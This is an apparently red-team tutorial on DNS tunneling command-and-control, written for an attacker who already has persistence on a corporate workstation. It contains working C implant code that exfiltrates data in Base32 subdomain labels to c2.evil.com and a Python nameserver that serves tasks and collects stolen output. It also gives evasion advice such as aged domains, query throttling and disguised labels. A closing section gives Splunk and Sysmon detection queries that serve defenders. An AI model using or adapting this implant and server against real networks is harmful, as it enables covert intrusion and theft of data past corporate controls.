DNS C2 Protocol
Using the DNS protocol as a covert command-and-control channel: query encoding, TXT/CNAME/A record response types, chunked data transfer, authoritative nameserver setup, and DNS-specific detection patterns
You've gained persistence on a target workstation. The network has an HTTPS-inspecting proxy — every outbound TLS connection is intercepted and decrypted by a Palo Alto NGFW. Your HTTPS beacon gets flagged within minutes when the certificate chain is wrong. DNS traffic, however, goes unexamined to the corporate recursive resolver, which forwards to your authoritative nameserver. DNS queries for data.c2.evil.com arrive at your server without inspection. You encode commands in TXT record responses and exfiltrate output through subdomain labels, building a fully covert channel over UDP port 53 — a port that must be open for the machine to function at all.
DNS C2 Data Model
Data Encoding
// DNS-safe encoding: Base32 (RFC 4648 alphabet: A-Z, 2-7, no padding)
// DNS labels are case-insensitive uppercase; use base32 not base64
const char* BASE32_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
int Base32Encode(const BYTE* input, DWORD inLen, char* output, DWORD outMax) {
DWORD outLen = 0;
int bits = 0;
DWORD val = 0;
for (DWORD i = 0; i < inLen; i++) {
val = (val << 8) | input[i];
bits += 8;
while (bits >= 5) {
bits -= 5;
if (outLen + 1 >= outMax) return -1;
output[outLen++] = BASE32_ALPHABET[(val >> bits) & 0x1F];
}
}
if (bits > 0) {
if (outLen + 1 >= outMax) return -1;
output[outLen++] = BASE32_ALPHABET[(val << (5 - bits)) & 0x1F];
}
output[outLen] = '\0';
return outLen;
}
// Build DNS query FQDN from data chunk
// Format: ....c2.evil.com
// Example: MNQXI3DPEBTHK.0003.7f3a91bc.data.c2.evil.com
void BuildDnsLabel(const BYTE* data, DWORD dataLen, DWORD seq,
const char* sessionId, char* fqdn, DWORD fqdnMax) {
char encoded[64] = {0};
Base32Encode(data, dataLen, encoded, sizeof(encoded));
// Each label max 63 chars — data chunk must be ≤ 37 bytes (37*8/5=59 chars)
_snprintf_s(fqdn, fqdnMax, fqdnMax-1,
"%s.%04X.%s.data.c2.evil.com", encoded, seq, sessionId);
}
// Data per DNS query (single label encoding):
// 37 bytes raw → 60 base32 chars → fits in 63-char label
// With FQDN overhead: 37 bytes per query to the C2 server
Server-Side Implementation — Authoritative Nameserver
# Python DNS C2 server using dnspython + raw socket
# Set NS records: ns1.c2.evil.com → your VPS IP
# All queries for *.c2.evil.com arrive here
import socket, threading, base64, struct
DNS_PORT = 53
SESSIONS = {} # session_id -> {key, tasks, results}
def parse_dns_query(data):
"""Extract QNAME from raw DNS query packet"""
labels = []
pos = 12 # skip DNS header (12 bytes)
while pos < len(data):
length = data[pos]
if length == 0: break
pos += 1
labels.append(data[pos:pos+length].decode('ascii', errors='replace'))
pos += length
return '.'.join(labels)
def build_dns_response(query_data, txt_value):
"""Build DNS response packet with TXT record"""
txid = query_data[:2]
flags = b'\x81\x80' # QR=1 AA=0 RD=1 RA=1
qdcount = b'\x00\x01'
ancount = b'\x00\x01'
nscount = b'\x00\x00'
arcount = b'\x00\x00'
header = txid + flags + qdcount + ancount + nscount + arcount
# Copy question section from query
question = query_data[12:]
# Answer: name pointer 0xC00C (points back to question), type TXT, class IN
txt_bytes = txt_value.encode('ascii')
answer = (
b'\xc0\x0c' + # name: pointer to question
b'\x00\x10' + # type: TXT (16)
b'\x00\x01' + # class: IN
b'\x00\x00\x00\x0a' + # TTL: 10 seconds (short for C2)
struct.pack('>H', len(txt_bytes) + 1) + # RDLENGTH
struct.pack('>B', len(txt_bytes)) + # TXT length byte
txt_bytes
)
return header + question + answer
def handle_query(data, addr, sock):
qname = parse_dns_query(data).lower()
parts = qname.split('.')
# qname format: ....c2.evil.com
if len(parts) < 7: return
encoded, seq, session_id, query_type = parts[0], parts[1], parts[2], parts[3]
if query_type == 'init':
SESSIONS[session_id] = {'tasks': [], 'results': []}
response_txt = 'OK'
elif query_type == 'check':
session = SESSIONS.get(session_id)
if session and session['tasks']:
response_txt = session['tasks'][0]['id'] # task ID to fetch
else:
response_txt = 'NOTASK'
elif query_type == 'data':
# Implant sending exfil data — decode and store result
raw = base64.b32decode(encoded.upper())
SESSIONS.get(session_id, {}).setdefault('results', []).append(raw)
response_txt = 'ACK'
else:
response_txt = 'ERR'
resp = build_dns_response(data, response_txt)
sock.sendto(resp, addr)
def serve():
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('', DNS_PORT))
print('[*] DNS C2 listening on UDP 53')
while True:
data, addr = sock.recvfrom(512)
threading.Thread(target=handle_query, args=(data, addr, sock)).start()
if __name__ == '__main__': serve()
Client-Side DNS Queries from Windows
// Windows DNS query via DnsQuery_A (avoids WinSock, uses DNS API)
#include <windns.h>
#pragma comment(lib, "dnsapi.lib")
// Query TXT record and return first string value
BOOL DnsQueryTXT(const char* fqdn, char* resultBuf, DWORD bufLen) {
PDNS_RECORD pDnsRecord = NULL;
DNS_STATUS status = DnsQuery_A(
fqdn,
DNS_TYPE_TEXT,
DNS_QUERY_BYPASS_CACHE | // don't cache C2 responses
DNS_QUERY_NO_HOSTS_FILE | // skip hosts file
DNS_QUERY_NO_NETBT, // skip NetBIOS
NULL,
&pDnsRecord,
NULL
);
if (status != ERROR_SUCCESS || !pDnsRecord) return FALSE;
PDNS_RECORD p = pDnsRecord;
BOOL found = FALSE;
while (p) {
if (p->wType == DNS_TYPE_TEXT && p->Data.TXT.dwStringCount > 0) {
strncpy_s(resultBuf, bufLen, p->Data.TXT.pStringArray[0], bufLen-1);
found = TRUE;
break;
}
p = p->pNext;
}
DnsRecordListFree(pDnsRecord, DnsFreeRecordList);
return found;
}
// Full check-in loop
BOOL DnsCheckin(const char* sessionId, char* taskBuf, DWORD taskMax) {
char fqdn[256] = {0};
_snprintf_s(fqdn, sizeof(fqdn), sizeof(fqdn)-1,
"check.%s.c2.evil.com", sessionId);
return DnsQueryTXT(fqdn, taskBuf, taskMax);
}
// Exfiltrate data in 37-byte chunks as subdomain labels
BOOL DnsExfil(const BYTE* data, DWORD dataLen, const char* sessionId) {
DWORD offset = 0;
DWORD seq = 0;
while (offset < dataLen) {
DWORD chunkSize = min(dataLen - offset, 37); // 37 bytes → 60 base32 chars
char encoded[64] = {0};
Base32Encode(data + offset, chunkSize, encoded, sizeof(encoded));
char fqdn[256] = {0};
_snprintf_s(fqdn, sizeof(fqdn), sizeof(fqdn)-1,
"%s.%04X.%s.data.c2.evil.com", encoded, seq, sessionId);
char ack[16] = {0};
if (!DnsQueryTXT(fqdn, ack, sizeof(ack))) return FALSE;
if (strcmp(ack, "ACK") != 0) return FALSE;
offset += chunkSize;
seq++;
Sleep(500 + (rand() % 500)); // 500-1000ms between queries
}
return TRUE;
}
Throughput and Chunking
| Direction | Record Type | Data Per Query/Response | Practical Throughput |
|---|---|---|---|
| Uplink (beacon→C2) | Query subdomain | 37 bytes/query | ~450 bytes/s at 1 query/800ms |
| Downlink (C2→beacon) | TXT record | 200-500 bytes | ~2KB/s with polling every 500ms |
| Downlink alternative | Multiple TXT strings | Up to 65KB total | Single response for large task |
| Downlink alternative | CNAME chain | 32 labels × 63 chars = ~2KB | One response, no chunking needed for commands |
DNS Record Type Selection
Anti-Detection Techniques
- Randomized subdomain patterns: Use random-looking session IDs and sequence numbers so queries don't look like structured encoded data to keyword-matching rules. 7f3a91bc.check.c2.evil.com looks less suspicious than base64encoded.check.c2.evil.com.
- Query rate throttling: Space queries 1-3 seconds apart. A burst of 50 DNS queries in 5 seconds is immediately detectable; 50 queries over 90 seconds is closer to normal browser behavior.
- Domain aging: Use C2 domains that have existed for at least 6-12 months. New domains are flagged by threat intel feeds and DNS RPZ (Response Policy Zones).
- Legitimate-looking labels: Use domain names and subdomain patterns that match common SaaS update / analytics patterns:
telemetry-v2.update.corp-tools.comlooks less suspicious thanc2data.evil.com. - Blend with legitimate DNS: Intersperse C2 queries with real DNS queries for legitimate domains to mask the pattern in log analysis.
- Avoid DNS over TCP: TCP DNS (for large responses) is logged differently and less common — use TXT records that fit in UDP (512 bytes).
Detection Engineering
-- Splunk / SIEM: DNS tunneling detection signals
-- 1. High entropy subdomain labels (base32/base64 encoded data)
index=dns
| eval label_entropy = precise_entropy(substr(query, 1, 63))
| where label_entropy > 3.5
| stats count by src_ip, query_root_domain
| where count > 20
| sort -count
-- 2. Unusual label length distribution (long labels = encoded data)
index=dns
| eval first_label_len = len(mvindex(split(query,"."),0))
| where first_label_len > 30
| stats count, dc(query) as unique_queries by src_ip, dest_ip
| where unique_queries > 10
-- 3. High NXDomain rate (common in C2 where agent probes non-existent domains)
index=dns rcode=3
| stats count, dc(query) as uniq by src_ip, timespan bucket=1h
| where count > 50 AND uniq > 40
-- 4. Single domain query volume anomaly
index=dns
| rex field=query "(?:[^.]+\.){2}(?P[^.]+\.[^.]+$)"
| stats count as query_count, dc(query) as unique_subdomains by src_ip, root_domain
| where unique_subdomains > 100 AND query_count > 200
| sort -unique_subdomains
-- Key DNS C2 IOCs:
-- * High entropy subdomains (Shannon entropy > 3.5 bits/char)
-- * Long subdomain labels (> 30 chars in first label)
-- * Many unique subdomains for one root domain from one source
-- * Low TTL on TXT records (TTL < 30 seconds)
-- * TXT record queries (unusual for endpoint — browsers never TXT-query)
-- * DNS queries after hours to unknown domains (midnight exfil)
-- Zeek: DNS log field 'query' length and entropy analysis
-- Microsoft Defender for Endpoint: DNS query logging (sysmon event 22 = DNSEvent)
-- Sysmon Event 22 (DNS Query):
# Monitor for: long labels, base32 pattern, high frequency to one domain
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=22} |
Where-Object { $_.Message -match '\.c2\.' -or
$_.Message -match '[A-Z2-7]{30,}' } # base32 pattern
Q&A
Why does DNS C2 work even in heavily restricted environments, and what does block it?
DNS C2 works in restricted environments for a fundamental reason: DNS resolution is required for nearly all network functionality. If DNS is blocked, a machine can't browse the internet, connect to cloud services, or even authenticate to Active Directory (which relies heavily on DNS for DC and service location). Administrators are therefore very hesitant to aggressively restrict DNS traffic. Specifically: outbound UDP 53 to the corporate DNS server is almost always allowed; that recursive resolver then forwards queries to the authoritative nameserver, which is the attacker's server. The attacker's traffic rides through the corporate resolver, so from the firewall's perspective, all DNS traffic is going to a trusted internal server. What does block it: (1) DNS RPZ (Response Policy Zones) — the corporate resolver can be configured with a blocklist of known-malicious domains, preventing resolution; (2) Passive DNS monitoring with threat intel feeds that recognize new/malicious domains; (3) DNS filtering proxies that inspect query content (Cisco Umbrella, Palo Alto DNS Security) — these can detect high-entropy subdomains; (4) Split-horizon DNS where the corporate resolver only forwards to specific authoritative servers on an allow-list; (5) No direct outbound DNS — all DNS routes through the corporate resolver which doesn't forward to your attacker NS server.
What is DNS-over-HTTPS (DoH) C2 and how does it compare to traditional DNS tunneling?
Traditional DNS tunneling sends queries over UDP/53, which most corporate DNS monitoring tools inspect. DNS-over-HTTPS (DoH) encapsulates DNS queries inside HTTPS to a DoH resolver (Google at 8.8.8.8:443, Cloudflare at 1.1.1.1:443, etc.). From the network's perspective, the traffic looks like HTTPS to a well-known CDN IP. The C2 concept: implant makes HTTPS POST requests to a DoH resolver with wireformat DNS queries embedded in the body; the resolver forwards to the attacker's authoritative nameserver. Compared to traditional DNS tunneling: DoH is harder to detect at the network layer (queries are encrypted), harder to block without blocking all DoH (which breaks many browsers and apps), and the destination IP is a known-good CDN rather than a suspicious VPS. The limitation: major DoH providers (Google, Cloudflare) have their own malware domain blocking in place, so your C2 domain may be blocked at the DoH provider level. Using a self-hosted DoH resolver eliminates this but makes the HTTPS destination an unknown IP, which may itself trigger detection. In practice, DoH C2 is most useful as a fallback channel when traditional DNS and HTTPS are both restricted but the DoH resolver IP (Google/Cloudflare) remains accessible.